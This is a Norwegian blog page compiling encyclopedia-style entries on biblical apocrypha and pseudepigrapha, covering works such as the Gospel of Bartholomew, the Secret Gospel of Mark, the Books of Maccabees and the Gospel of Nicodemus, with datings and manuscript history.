ULVEHYL

Håvard`s blogg . generelt bare tull, men noen gullkorn kan jo finnes….!

Apokryfene

Apokryfer (fra gresk απόκρυφος (apokryfos), «skjult», «kryptisk») er en betegnelse på religiøse tekster, spesielt innenfor de jødiske og kristne tradisjoner, som av religiøse autoriteter ikke regnes for å være guddommelig inspirerte eller som på annen måte trekkes i tvil. De står da i motsetning til Bibelens kanon. I vestlig kristendom brukes uttrykket Apokryfer oftest om de gammeltestamentlige apokryfer, bøker som er med i Den katolske kirkes versjon av Bibelen, men ikke i protestantiske versjoner.

Gammeltestamentlige apokryfer

De mest kjente av de gammeltestamentlige apokryfene er syv bøker og to tillegg til bøker som var med i den greske oversettelsen Septuaginta. Disse kalles i katolsk terminologi De deuterokanoniske bøker. De ble skrevet etter at den hebraiske kanon var fastlagt, og blir dermed ikke regnet som autentiske av langt de fleste jøder. I oldkirken ble det etter hvert regnet med til Bibelens kanon, men ved reformasjonen definerte Martin Luther dem som ikke-inspirerte. De er fortsatt en del av den katolske og den den ortodokse kirkes utgaver av Bibelen.

I tillegg de deuterokanoniske bøkene fins det noen flere verk som har en bibelsk stil og som ofte skildrer hendelser som blir forbundet med personer i Bibelen. Disse kalles gjerne pseudepigrafiske bøker. Enoks bøker og Boken om Jubelårene hører til disse.

Flere av de gnostiske apokryfe evangeliene tilskrives Maria Magdalena. Her en skildring av Marias møte med Jesus etter oppstandelsen. Maleri av Aleksandr Ivanov, ca 1834

Nytestamentlige apokryfer

De nytestamentlige apokryfer er bøker som foregir seg å ha tilknytning til Jesu og de første kristnes gjerninger. De aksepteres verken av ortodokse, katolske eller protestantiske kristne. De inkluderer flere evangelier og skrifter om apostlene. Flere av dem ble skrevet av gnostikere og av andre grupper som sto utenfor den etablerte kirke. Flere av skriftene ble oppdaget først i det 19. og 20. århundre, og har skapt mye debatt. Spesielt Tomasevangeliet har fått stor utbredelse.

Begrepet brukes også ofte om enkelte andre tidlige kirkelige skrifter, som i perioder ble regnet som inspirerte. Disse inkluderer Klemensbrevene, Hermas’ hyrde og Didakhe. Disse har uansett blitt regnet som viktige skrifter av kirken, og regnes gjerne som rettroende men ikke inspirerte.

Den etiopiske ortodokse kirke er et unntak fra regelen, da den anerkjenner Klemensbrevene og Hermas’ hyrde som autentiske, inspirerte skrifter.

Martin Luther brukte også begrepet om enkelte skrifter i Det nye testamente, spesielt Jakobs brev, men også Hebreerbrevet, Judas’ brev og Åpenbaringen. Han flyttet dem til et tillegg etter de andre bøkene, og fortsatt er enkelte lutherske bibelutgaver satt opp med en rekkefølge som avviker fra andre versjoner.

Flere kristne doktriner, og flere navn på personer i tilknytning til Jesus, er basert på opplysninger fra apokryfe skrifter.

Et utvalg av 9 apokryfe evangelier og tre evangeliefragment ble utgitt i antologien Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001. Tekstene er oversatt av Einar Thomassen, og har en innledning av Halvor Moxnes. Utvalget omfatter flere typer apokryfe evangelier: samlinger av Jesus-ord, dialog-evangelier, skildringer av jesu barndom, og av Jesu nedfart til dødsriket.

Et utvalg av seks apostelgjerninger, fem brev og to åpenbaringer ble utgitt i antologien Tidligkristne apokryfer i serien Verdens Hellige Skrifter i 2011. Tekstene er utvalgt og med innledninger av Reidar Aasgaard.

I sjangeren Jesus-ord finnes evangeliene Q-kilden (etter John S. Kloppenborgs utforming), Jakobs hemmelige bok og Tomasevangeliet. Sjangeren dialog-evangelier er representert ved Maria Magdalenas evangelium.

De fem evangeliefragmentene er Petersevangeliet, Det hemmelige Markusevangeliet, Papyrus Egerton 2, Papyrus Oxyrhynchus 840 og «Frelserens evangelium». Det siste er nyfunnet, og ble offentliggjort i 1999, etter å ha ligget glemt i et museum i Berlin. Felles for evangeliefragmentene er at de bare inneholder enkeltepisoder, og at det ikke er mulig å datere eller knytte episodene til noen retning. Papyrus Egerton 2 inneholder avsnitt om en helbredelse, om arrestasjonen av Jesus, og et ordskifte mellom Jesus og en skriftlærd. Papyrus Oxyrhynchus 840 inneholder bare én episode: et ordskifte mellom Jesus og en fariseisk overprest, om forholdet mellom ytre og indre renselse.

Skildringer av Jesu barndom finnes i Jakobs protoevangelium og i Tomas’ barneevangelium. Skildringer av Jesu nedfart til dødsriket, og av hva han gjorde i tiden mellom gravleggelsen langfredag og oppstandelsen påskedag, er hovedsak i Bartolomeusevangeliet og Nikodemusevangeliet.

Enkelte av de apokryfe evangeliene er skrevet tidligere enn, eller i det minste uavhengig av, de fire evangeliene som inngår i Bibelens kanon, og gir innsikt i utviklingen av den tidlige Jesustradisjonen. Andre apokryfe evangelier er skrevet senere, i dialog med de kanoniske evangeliene, og gir innsikt i senere faser av oldkirkens trosoppfatninger

Andreas og Mattias’ gjerninger

Apostelen Mattias (her avbildet sammen med Judas Taddeus) var den trettende disippelen, valgt for å erstatte Judas. Fra Josef Anton Hafners verksted, ca 1750.

Andreas og Mattias’ gjerninger (latin Acta Andreae et Matthiae apud Anthropophagos, egentlig Andreas og Mattias’ gjerninger blant menneskeeterne) er et apokryfisk skrift fra oldkirken, skrevet på gresk ca år 200-210. Det har antagelig vært den andre halvdelen av det større skriftet Andreas’ gjerninger, og tilhører de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger.

Det større Andreas’ gjerninger er bare delvis kjent og rekonstruert, men har tilsynelatende bestått av to deler: den ene delen handler om apostelen Andreas’ reiser i Lilleasia og Hellas, og den andre delen om hans død i byen Patras, nord på Peloponnes. En forkortet versjon av verket på latin ble skrevet av Gregor av Tours ca 593.

Fortellingen tar utgangspunkt i Apostlenes gjerningers beretning om urmenigheten i Jerusalem, og introduserer den tanken at disiplene «delte landene mellom seg ved å kaste lodd». Den nye apostelen Mattias blir sendt til menneskeeternes land, som ligger på et uspesifisert sted. Andreas får en åpenbaring om at Mattias trenger hjelp, og kommer ham til unnsetning etter en sjøreise hvor Jesus er styrmann. Fortellingen inneholder videre visjoner av Kristus, fangenskap og pinsler hos hedningene, oversvømmelse, mirakuløs redning og kollektiv omvendelse. Fortellingen inneholder flere eventyrmotiv, og har mange fellestrekk med Odysseen.

Teksten inneholder både henvisninger til Jesu’ gjerninger som er kjent fra evangeliene, og henvisninger til andre, skjulte undre. Andreas blir framhevet både ved at hans liv og lidelser blir sammenlignet med Jesu lidelser, og ved at Andreas har regelmessige åpenbaringer av Jesus.

Apostlenes brev

Apostlenes brev (latin: Epistula Apostolorum) er et apokryfisk skrift fra oldkirken, skrevet på gresk ca år 150, antagelig i Egypt. Selv om skriftet etter navnet er et brev inneholder det flere ulike tekstsjangre; det «begynner som et brev, men fortsetter som en evangeliefortelling, før det går over i en dialog mellom Jesus og disiplene. Teksten er holdt i vi-form: det er apostlene som taler, og de gjengir et budskap de skal ha fått fra Jesus mellom hans oppstandelse og himmelfart.»

I sin gjennomgang av Jesu liv og gjerninger siterer teksten blant annet Tomas’ barneevangeliums versjon av Jesu barndom.

Brevet advarer mot gnostisismen, særlig mot Cerinthus og mot Sannhetens evangelium, og understreker at Jesus var et virkelig menneske. På samme måte som flere gnostiske tekster bruker det en form hvor Jesus og disiplene har en undervisende dialog i tiden etter oppstandelsen. Tema som gis mye plass er Jesu nedstigning til dødsriket, Paulus’ kommende rolle som apostel, den belønningen apostlene og alle kristne skal få, og det avsluttes med Jesu himmelfart.

Verket har vært i levende bruk i den etiopisk-ortodokse kirke. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Bartolomeusevangeliet

Erkeengelen Mikael beseirer Satan, maleri fra 1610.
I «Bartolomeusevangeliet» er det Apostelen Bartolomeus som får makt over Satan.

Bartolomeusevangeliet eller Bartolomeus’ spørsmål er et apokryft evangelium som forteller om Jesu nedfart fra korset til dødsriket, og om Bartolomeus’ samtale med Satan/Beliar, hvor Bartolomeus får forklart hvordan Satans rike er innrettet.

Teksten er vanskelig å datere. Enkelte trekk tyder på at det er skrevet på 100-tallet, særlig delen med nedstigningen til Helvete; mens andre deler virker yngre, trolig fra 200/300-tallet. Bartolomeusevangeliet er «et av de tidligste eksemplene på hvor opptatt de tidlige kristne var av Jesu nedfart til dødsriket».

Mens Bartolomeus knapt nevnes i de fire kanoniske evangeliene, spiller han en aktiv helterolle i dette skriftet. Han tiltales av Jesus som «min elskede Bartolomeus», han er den som er vitne til Jesu nedfart, og som utspør Satan. Teksten forteller om Bartolomeus’ møte med Satan, om Satans fall fra himmelen, og englenes og djevelenes tallog om hvordan Satan tukter synderne. Et innskutt bimotiv tidlig i teksten er en drøfting av Marias jomfruelighet, og en skildring av hennes himmelske visjoner og opphøyethet.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

En annen skildring av Jesu nedfart til dødsriket finnes i Nikodemusevangeliet. Bartolomeus er også tilskrevet et annet apokryft skrift, Jesu Kristi oppstandelse.

Baruks apokalypse

Baruks apokalypse eller Andre Baruk er en apokalypse og pseudepigrafi skrevet på syrisk. Den stammer trolig fra slutten av 100-tallet e.Kr. eller tidlig på 200-tallet, og fra tiden etter Jerusalems fall for romerne i år 70. Den er tilskrevet den bibelske Baruk og er av den grunn tilknyttet det gamle testamente, men er ikke anerkjent som hellig skrift av hverken jødene eller av de fleste kristne grupper. Teksten er inkludert i en del utgaver av Peshitta, den syriske standardversjonen av Bibelen.

Manuskriptets tradisjon

Boken har 87 seksjoner. Selve apokalypsen utgjør de første 77 kapitlene av boken. Kapitlene 78-79 blir vanligvis referert til Baruks brev til de ni og en halv stammer. Sistnevnte hadde en adskilt og brede sirkulasjon enn resten av boken, og det bevitnet i 36 gammelsyriske manuskripter.

Apokalypse har vært mindre tilgjengelig. Et utdrag på latin var kjent fra et sitat fra Cyprianus, en biskop i Kartago på midten av 200-tallet. Et gresk fragment fra 300- eller 400-tallet ble funnet sammen med Oxyrhynchus-manuskriptene i Egypt. To utdrag var kjent fra leksjoner fra 1200-tallet i Den syriske ortodokse kirke.

Den fullstendige teksten Andre Baruk er i dag kjent fra gammelsyrisk manuskript fra 500- eller 600-tallet som ble oppdaget av Antonio Ceriani i Biblioteca Ambrosiana i Milano i 1866. Et arabisk manuskript av hele teksten ble oppdaget så sent som i 1974. Det er tilsynelatende en meget fri oversettelse fra en gammelsyrisk tekst ganske lik manuskriptet i Milano.

Beskrivelse

Selv om den bibelske Jeremias bok portretterer Baruk som Jeremias’ skriver, portretterer Andre Baruk ham som en profet i egen rett. Den har tilsvarende stil som de skriftene som er tilskrevet Jeremias: en blanding av bønner, klager, og visjoner. Selv om Baruk skriver om Nebukadnesar II av Babylonias herjinger av Jerusalem i år 586 f.Kr., er det antatt å ha blitt skrevet som en reaksjon på Jerusalems fall i år 70 e.Kr., men før år 135 e.Kr.

Den gammelsyriske teksten er bortimot helt sikkert en oversettelse fra gresk. Originalen ble antagelig skrevet på hebraisk. Det er et nært slektskap mellom denne apokalypse og den i Fjerde Esra, men forskerne er delt i spørsmålet om i hvilken grad de har påvirket hverandre. En hypotesen er at Andre Baruk er en etterligning av Fjerde Esra, og derfor senere. Baruks apokalypse handler delvis om de samme problemer, lidelsene til teokratiske folket, og deres endelig seier over der undertrykkere. Dets Messias generelt er jordisk og verdslig, men i den senere del av boken tenderer Messias’ rike mot en mer åndelig begrep.

Den gnostiske Peters apokalypse

Den gnostiske Peters apokalypse er et verk som inngår i funnet av Nag Hammadi-skriftene. Den bevarte teksten er på koptisk, men verket ble sannsynligvis opprinnelig skrevet på gresk.

Verket synes å støtte tanken om at Jesus ikke døde på ordentlig, og er muligens et eksempel på doketisme.

Femte Makkabeerbok

Femte Makkabeerbok er et verk som handler om Judeas historie fra rundt 186 f.Kr. til regjeringstiden til Herodes den store.

Boken er overlevert på arabisk, men den ble trolig opprinnelig skrevet på hebraisk.

Boken viser noen likheter med den krøniken som kalles Josippon.

Filipsevangeliet eller Filipevangeliet

Filipsevangeliet eller Filipevangeliet er et apokryft gnostisk skrift fra år 250-300.

Skriftet tilhører den valentianistiske retningen innen gnostisismen. Det inneholder ingen episk fremstilling av Jesu liv – slik man kan tro av navnet evangelium, men består av en rekke «korthugne og ofte gåtefulle sentenser. Formen og tolkningsproblemene som ofte melder seg, kan bero på at skriftet egentlig er en samling notater som er ment å være utgangspunkt for muntlig framstilling. Teksten henspiller ofte på ritualer og ideer i tilknytning til dåpen, og det er nærliggende å tenke seg at den er skrevet til bruk i dåpsundervisning.» Dåp skal i følge Filipsevangeliet foregå ved full neddykking, salving med olje og nattverd.

Det trekkes sammenligningen mellom dåpen og en brudekammer hvor det skjer en forening med ens «åndelige og egentlige selv». Teksten inneholder også avsnitt som kan tolkes som støtte til ideen om et forhold mellom Jesus og Maria Magdalena.

Tittelen er muligens ikke opprinnelig, men har blitt tilføyd senere, fordi Filip nevnes i teksten. Skriftet, som er en koptisk oversettelse av en gresk original, ble oppdaget i Codex II blant Nag Hammadi-skriftene i 1945. Teksten er gjengitt på norsk i to utgaver:

Maria Magdalenas evangelium: fire gnostiske skrifter. Oversatt og med et forord av Turid Nystøl Rian ; innledning ved Turid Karlsen Seim. Emilia forlag, 1996 / 2002. Av innholdet: Maria Magdalenas evangelium, Filipevangeliet og Frelserens dialog. ISBN 82-7419-060-2 ; ISBN 978-82-7419-060-3

i samlingen Gnostiske skrifter, 2002, i serien Verdens Hellige Skrifter. ISBN 82-525-4108-9

Fjerde Baruk er et verk som er overlevert på gresk og geez. Boken forteller blant annet om hendelser som Jeremia skal ha opplevd like før ødeleggelsen av Jerusalem.

Fjerde Esra eller Andre Esdras er et apokryfisk verk er skrevet innenfor både det jødiske og det kristne tros- og tekstunivers. Verket er en «apokalypse, dvs et skrift som er preget av åpenbaringer (syner) og en fargerik symbolbruk».

I gresk og engelsk tradisjon kalles dette verket Første Esdras. Navnet Fjerde Esra er fra latinsk tradisjon, og er basert på at Esras bok var «Første Esra» mens Nehemjas bok var «Andre Esra»; det finnes også et aapokryfisk skrift kalt Tredje Esra.

Verket består av tre deler; hoveddelen (kapittel 3–14) er et jødisk skrift fra slutten av 1. århundre e.Kr., opprinnelig skrevet på hebraisk eller muligens arameisk. Kapittel 1–2 er et kristent tillegg fra ca 150 e.Kr., som også er kjent under navnet «Femte Esra». Kapittel 15–16 er et kristent tillegg fra siste del av 200-tallet, som også er kjent under navnet «Sjette Esra».

Hovedbolken i kapittel 3–14 skildrer sju syner. Bakgrunnen er ødeleggelsen av Jerusalem i år 70, og de problemer dette skapte for jødisk tro. Det er erkeengelen Uriel som taler i synene. Teksten beskrives som «et trøsteskrift for dem som lider under disse hendelsene.» De kristne tilføyelsene setter budskapet om trøst i trengsler inn i en kontekst av kristendomsforfølgelse i Romerriket.

Den katolske kirke anser det ikke som kanonisk, og det hører derfor ikke til de deuterokanoniske bøker i deres forstand. I den anglikanske tradisjon regnes verket blant apokryfene, mens protestantene sjelden tar den med. Boken er med i Det norske bibelselskaps utgave av apokryfene fra 1988.

Fjerde Makkabeerbok er et verk som tar opp hendelser fra tiden da Antiokos IV Epifanes regjerte og som legger vekt på å fortelle om personer som var martyrer. Boken ble antagelig skrevet i romertiden, mellom år 30 og 40 e.Kr

«Frelserens evangelium»

Kristi himmelfart. Giottos freske fra Capella degli Scrovegni. Frelserens evangelium forteller om en lignende åpenbaringsscene i tiden etter det siste måltidet og før korsfestelsen: disiplene får en visjon av Jesus som sitter på en himmelsk trone

«Frelserens evangelium» er et apokryft evangelium som bare er kjent gjennom et fragment som ble ervervet av Ägyptisches Museum Berlin og først ble offentliggjort i 1999.

Manuskriptet ble innkjøpt av museet i 1967, men ble ikke behandlet av konservatorer før i 1991. Manuskriptet er brannskadet, og er antagelig fra 500-tallet. Selve teksten er imidlertid eldre, og man har anslått en datering mellom år 150 og 200. Teksten er bare kjent i utdrag, og den første kjente siden er paginert som 97. Manuskriptet har imidlertid sannsynligvis bestått av flere tekster, og det er ikke mulig å si hvor langt evangeliet opprinnelig har vært.

Teksten i fragmentet inneholder en avskjedstale av Jesus, lagt til tiden mellom avskjedsmåltidet skjærtorsdag og korsfestelsen. Disiplene får deretter en visjon av Jesus på en himmelsk trone. Her i himmelen ber Jesus om å få slippe døden på korset. Det påfallende med manuskriptet er at Jesus begrunner dette med at han vil at det jødiske folket skal slippe skyld og dom. Fragmentet avsluttes med en rekke «Jeg er..»-utsagn av Jesus til disiplene, og en trøste-tale rettet mot korset.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001. Denne oversettelsen bygger på professor Stephen Emmels korrigerte forståelse av teksten, som i 2001 ennå var upublisert, men som ble utgitt året etter.

Det hemmelige Markusevangeliet

Oppvekkelsen av Lasarus. Giottos freske fra Arenakapellet i Padoa. Det hemmelige Markusevangeliet forteller om et tilsvarende under, hvor Jesus vekker opp en rik ung mann.

Det hemmelige Markusevangeliet eller Det mystiske Markusevangeliet er et apokryft evangelium som bare er delvis og indirekte kjent.

Den amerikanske religionsforskeren Morton Smith fant under et besøk i Mar Saba-klosteret ved Jerusalem i 1958 et brev fra Klemens av Alexandria (ca 200) skrevet inn i en bok fra 1600-tallet. Klemens advarer i sitt brev mot den gnostiske sekten karpokratianerne og deres forvrengning av Markusevangeliet, og siterer i den forbindelse fra deres versjon av Markusevangeliet. Smith utga brevet og sitatet i sin bok Clement of Alexandria and a Secret Gospel of Mark i 1973. Autentisiteten til brevet og derved til evangeliet er omstridt, særlig ettersom originalen av boken og brevet ikke har vært tilgjengelig for andre forskere.

Fragmentet inneholder to tillegg til Markusevangeliets tiende kapittel. En episode er lagt til mellom Mark 10:34 og 10:35; at Jesus vekker en ung mann opp fra de døde. I tillegg er det lagt til en delsetning i Mark 10:46 som viser tilbake til episoden, og til «den unge mannen som Jesus elsket». Fragmentet er kontroversielt fordi det kan oppfattes som en skildring av et homofilt forhold mellom Jesus og den unge mannen. Det er imidlertid like sannsynlig at det henvises til et dåpsrituale: dåpskandidater var ofte ikledd slike lette kjortler.

«Og seks dager senere gav Jesus ham en befaling, og da det var blitt kveld, gikk den unge mannen til ham kledd i bare et linklede. Og han var hos ham den natten. For Jesus lærte ham Guds rikes mysterium.»

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Holofernes

Cristofano Alloris maleri Judit med Holofernes’ hode.

Holofernes (hebraisk הולופרנס) var en assyrisk general under Nebukadnesar II som figurerer i deuterokanoniske Judits bok.

Det ble sagt at den babylonske kongen Nebukadnesar sendte Holofernes for å ta hevn på nasjonene i vest som hadde unnlatt å støtte hans regime. Generalen beleiret Bethulia (antagelig byen Meselieh) og fikk byen nesten til å overgi seg. Den ble berget av Judit, en vakker hebraisk enke som dro inn til Holofernes’ leir og forførte ham. Mens den berusede Holofernes sov skar hun hodet av ham. Deretter dro hun tilbake til Bethulia med generalens hode, og således beseiret hebreerne fienden.

Holofernes er avbildet i tallrike malerier og andre kunstverk sammen med Judit, blant annet er de to omtalt i Geoffrey Chaucers Munkens fortelling i Canterbury-fortellingene, og i Dantes Purgatorio hvor Holofernes blir funnet på Stolthetens terrasse.

Jakobs hemmelige bok

Jakobs hemmelige bok eller Apocryphon Iacobi er et apokryft evangelium som forteller om et møte mellom Jesus og Jakob, hans bror og Peter, etter oppstandelsen, hvor Jesus gir instruksjoner og forklaringer.

Teksten er formet som et brev fra Jakob. Antagelig er både brevformen og den beskrevne åpenbaringssituasjonen senere tilføyelser, for å skape en ramme rundt det sentrale i teksten: Jesus-sitatene.

Evangeliet er antagelig skrevet mellom år 100 og 150. Jesussitatene ser ikke ut til å være påvirket av de kanoniske evangeliene, noe som kan tyde på at skriftet er forholdsvis gammelt. Teksten har et gnostisk preg.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Jakobs protoevangelium

Marias fødsel. Giottos freske fra Capella degli Scrovegni.
Jakobs protoevangelium, ordet betyr «for-evangelium», skildrer særlig forhold som ligger foran Bibelens beretning: Jomfru Maria fødsel, foreldrene Anna og Joakims liv, og under som skjedde rundt Jesu fødsel

Jakobs protoevangelium eller Jakobs barneevangelium er et apokryft evangelium som forteller om under rundt Jesu fødsel, Jomfru Marias fødsel og liv. Skriftet er den eldste kjente forekomsten av fortellingene om Anna, Marias mor og grunnlag for helgenlegendene knyttet til henne og til Maria, og har slik «hatt stor betydning i kirkehistorien».

Evangeliet er antagelig skrevet mellom år 150 og 200. Det eldste kjente manuskriptet har tittelen Marias fødsel. Jakobs åpenbaring. Tittelen Jakobs protoevangelium ble etablert i løpet av 1500-tallet, i den latinske formen Protoevangelium Jacobi. Den Jakob det er tale om er Jesu bror, og han opptrer også som jeg-person i evangeliet.

Teksten består av 24 kapitler og en avslutning. De åtte første kapitlene skildrer Anna, Joakim og Marias fødsel. Den neste tredjedelen skildrer bebudelsen, budskapet til Josef, og deres familieetablering. Den tredje delen skildrer fødselen, Herodes’ drap på guttebarn og under rundt dette.

Innholdet i dette skriftet, og i andre barndomsevangelier som Tomas’ barneevangelium, ble på 700/800-tallet samlet i en utbrodert legendeform i Pseudo-Matteus’ evangelium.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Johannes’ gjerninger

Johannes’ gjerninger er et apokryfisk skrift fra oldkirken, skrevet ca år 150-160, muligens i Smyrna i Lilleasia. Det er regnet som det eldste av de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger.

Det meste av handlingen i skriftet foregår i Efesos. Forfatteren av skriftet kjente godt til Johannesevangeliet og minst ett av de andre NT-evangeliene, trolig også Apostlenes gjerninger, men behandler dem nokså kritisk. Bildet av Jesus i skriftet kan minne om Johannesevangeliet, men har også viktige forskjeller i gnostisk retning: Jesus fremstilles ikke lenger som et inkarnert menneske, men er «opphøyd til et rent guddommelig vesen». Menneskesynet i skriftet er «preget av en lignende tankegang. Det er det indre, åndelige, som gjelder. Mennesket som fysisk og forgjengelig vesen er av mindre verdi og betydning.»

Teksten er ikke bevart i sin helhet, men deler av det er kjent fra ulike håndskrifter. Særlig mangler begynnelsen. Skriftet er omtalt av kirkehistorikeren Eusebius av Cæsarea ca 320, og han regnet skriftet som i strid med den kristne lære. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Korinternes brev til Paulus

Korinternes brev til Paulus er et apokryfisk skrift fra oldkirken, skrevet på gresk av en ukjent forfatter ca år 150 eller noe senere. Det inngår i en dialog med Paulus’ tredje brev til korinterne, en brev som med urette er tilskrevet Paulus. Begge brevene har senere vært redigert inn som en del av den større Paulus’ gjerninger.

Det korte brevet utgir seg for å være en oppfølger til de to kanoniske korinterbrevene, og forteller at Korintermenigheten har blitt oppsøkt av de to erkekjetterne Simon Magus og Kleobios, og om flere kjetterske påstander som disse har kommet med. Paulus’ tredje brev til korinterne er et svar på dette brevet, og «Paulus» tilbakeviser kjetteriet i sitt svar.

Brevene har tidligere vært regnet som del av Bibelens kanon av den armenske kirke. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011, sammen med Paulus’ tredje brev til korinterne.

Makkabeerbøkene

Makkabeerbøkene er en del av Det gamle testamentes apokryfiske skrifter. Makkabeerbøkene har sitt navn etter Makkabeerne, den slekten som førte frihetskampen i Israel under selevkidenes styre.

Første Makkabeerbok regnes med til de deuterokanoniske bøker.

Andre Makkabeerbok regnes også med til de deuterokanoniske bøker.

Tredje Makkabeerbok

Fjerde Makkabeerbok

Femte Makkabeerbok

I tillegg kommer de etiopiske skriftene som kalles Meqabyan.

Manasses bønn

Kong Manasse av Juda; avbildet i Promptuarii Iconum Insigniorum 1553

Manasses bønn er et apokryfisk verk skrevet innenfor det Gamle Testamentes tros- og tekstunivers. Verket presenteres som den bønnen kong Manasse av Juda bad mens han var fange i Assyria, slik det fortelles om i Andre Krønikebok 33:10-17.

Boken er kort og består av ett kapittel med 13 vers. Den er skrevet i det 2. eller 1. århundre f.Kr., og har et liturgisk preg, noe som kan tyde på at den opprinnelig er skrevet for bruk i gudstjenester. Teksten kan forstås «som et eksempel på sann omvendelse og bot. Kan hende ville forfatteren vise jøder som var henfalt til avgudsdyrkelse, en vei til omvendelse.»

Teksten regnes ikke som en del av Bibelens kanon av den katolske kirke, og hører derfor strengt tatt ikke til de deuterokanoniske bøker; i protestantisk tradisjon regnes teksten likevel blant det gamle testamentes apokryfer. I den ortodokse kirke brukes bønnen noen ganger i gudstjenester.

Maria Magdalenas evangelium

Flere av de gnostiske apokryfe evangeliene tilskrives Maria Magdalena. Her en skildring av Marias møte med Jesus etter oppstandelsen. Maleri av Aleksandr Ivanov, ca 1834

Maria Magdalenas evangelium er et apokryft evangelium som bare er delvis kjent og bevart. Det forteller om et møte mellom disiplene, Maria og Jesus etter hans oppstandelse.

Teksten er kjent gjennom et funn i Egypt i 1896, den såkalte Berlin-kodeksen. Man kjenner bare et ufullstendig koptisk manuskript, og et lite fragment på gresk. Skriftet kan antagelig dateres til første del av 100-tallet.

Evangeliet skildrer disiplenes uro og engstelse når Jesus gir dem befaling om å utbre hans budskap. I denne situasjonen blir de trøstet av Maria, som oppmuntrer dem, og forklarer Jesu ord for dem. Teksten skildrer deretter en diskusjon om hvorvidt Maria gjengir en sann versjon av Jesu budskap, som ender med tillit til Maria.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Meqabyan

Meqabyan (Ge’ez: መቃብያን) er betegnelsen på tre bøker, 1. Meqabyan, 2. Meqabyan og 3. Meqabyan, som brukes i den etiopiske ortodokse kirke. De kalles også De etiopiske makkabeerbøker. De er imidlertid ikke de samme som de mer kjente Makkabeerbøkene.

Den første av bøkene forteller om en benjaminitt ved navn Meqabis og hans fem sønner som er trofaste til døden under styret til Antiokos IV Epifanes.

Den andre av bøkene forteller om en konge av Moab som undertrykker Israel. Siden omvendes han til israelittenes religion og lærer folket opp i å følge den.

Den tredje av bøkene taler om frelse og straff, og nevner Adam, Job, David, og andre.

Nikodemusevangeliet

Grablegungsgruppen i Groß St. Martin, Köln. Fra venstre: Nikodemus, en klagekone, Maria Magdalena, Maria, Johannes, Josef fra Arimatea.

Nikodemusevangeliet er et apokryft middelalderskrift som gir seg ut for i første del å være fariseeren og rådsherren Nikodemus’ referat etter Pontius Pilatus’ samtale med den arresterte Jesus og de anklagende jødene, og i siste del for å gjengi hellige skriftruller om Jesu opphold i Dødsriket.

Når det gjelder Nikodemus befatning med Jesus, skal han i følge Johannes (Joh. 3,1) ha oppsøkt ham i ly av nattens mulm og mørke for å samtale med ham om anklagene som var reist mot ham av de jødiske lederne. Bibelens skriftsteder forteller at Nikodemus ga rådsherrene en irettesettelse, og hevdet at lovene forlangte at ingen skulle dømmes uten forhør, undersøkelser og en rettferdig domsavsigelse (Joh. 7,50). Etter Jesu korsfestelse sluttet Nikodemus seg til rådsrepresentanten Josef fra Arimateas følge, og brakte med seg hundre pund myrra og aloe til begravelsen (Joh. 19,39).

At det finnes i overkant av 350 latinske manuskripter til hele Nikodemusevangeliet vitner om dens tidligere utbredelse og popularitet. Et tillegg til skriftet gir seg ut for å være Pilatus’ egen rapport til keiseren etter hendelsene i Jerusalem, et annet inneholder legenden om St. Veronika og svetteduken.

Forhøret av Jesus

Første delen av Nikodemusevangeliet, er den som gjerne blir omtalt som Pilatusaktene eller Pilatusgjerningene som handler om prefektens avhør av Jesus og om rettssaken som førte til dødsdommen. Selv om det er påstått at Pontius Pilatus skulle ha sendt keiser Tiberius visse etterretninger om Jesus, har han neppe hatt minste å bestille med hva den greske teksten omtaler som «de akter som ble til under Pontius Pilatus».

Den eklektiske bruken av det forholdsvis sene evangeliet etter Johannes, og den gode kjennskapen til både Matteusevangeliet og Lukasevangeliet gjør det er ytterst tvilsomt om referatet egentlig skriver seg fra noen vitneerklæring. Tilføyelsene som gjør tekstene mer helhetlige tyder heller ikke på at rådsherren Nikodemus kunne hatt noe med skriftet å gjøre. Som bevis anføres dessuten at evangeliet ikke har noen opprinnelig hebraisk form, men at skriftet synes forfattet på gresk.

Pilatusaktene består av en prolog og i alt 16 kapitler, formet som dialoger i historisk presens:

Innledning hvor pretor Ananias presenterer seg som oversetter fra hebraisk av Nikodemus’ etterlatte erindringer (hypomnemata) og daterer sitt eget arbeid med manuskriptet til år 425 e.Kr.

Kapittel 1: Med vekt på fremstillingen i Johannesevangeliet skildres prosessen hvor de jødiske lederne fremfører anklagene mot Jesus for Pilatus og hevder at han erklærer seg som deres konge, og bryter sabbaten ved å drive trolldom, terapeutiske øvelser og eksorsisme. Da Jesus selv trer inn hos Pilatus bøyer fanene med keiserbildene seg for ham.

Kapittel 2: Pilatus’ hustru forteller at hun i en drøm er blitt advart mot å dømme Jesus, noe jødene mener skyldes hans trolldomsevner. De beskylder ham for å være født i utukt, for å ha begått barnemord i Betlehem og for å ha jaget sine foreldre på flukt til Egypt. 12 navngitte menn forsvarer Jesus, mens Pilatus kun ser det som uttrykk for godhet at han har helbredet syke på sabbaten.

Kapittel 3-4: Pilatus fremstår nærmest som pseudokristen, men vasker sine hender og ber på polyteistisk vis til solguden Helios om at Jesus ikke måtte bli dømt dersom han var uskyldig. Jødene argumenterer heftig for å få ham korsfestet.

Kapittel 5: Nikodemus forsvarer Jesus og mener tegnene vil bestå dersom de virkelig skriver seg fra Gud. Jødene beskylder både Nikodemus og Pilatus for å ha blitt Jesu disipler.

Kapittel 6-8: Jøder som er blitt helbredet av Jesus står frem og vitner for ham.

Kapittel 9: Pilatus søker råd hos Nikodemus og de 12 navngitte forsvarere, og stiller deretter hordene valget mellom å frigi enten Jesus eller Barabbas.

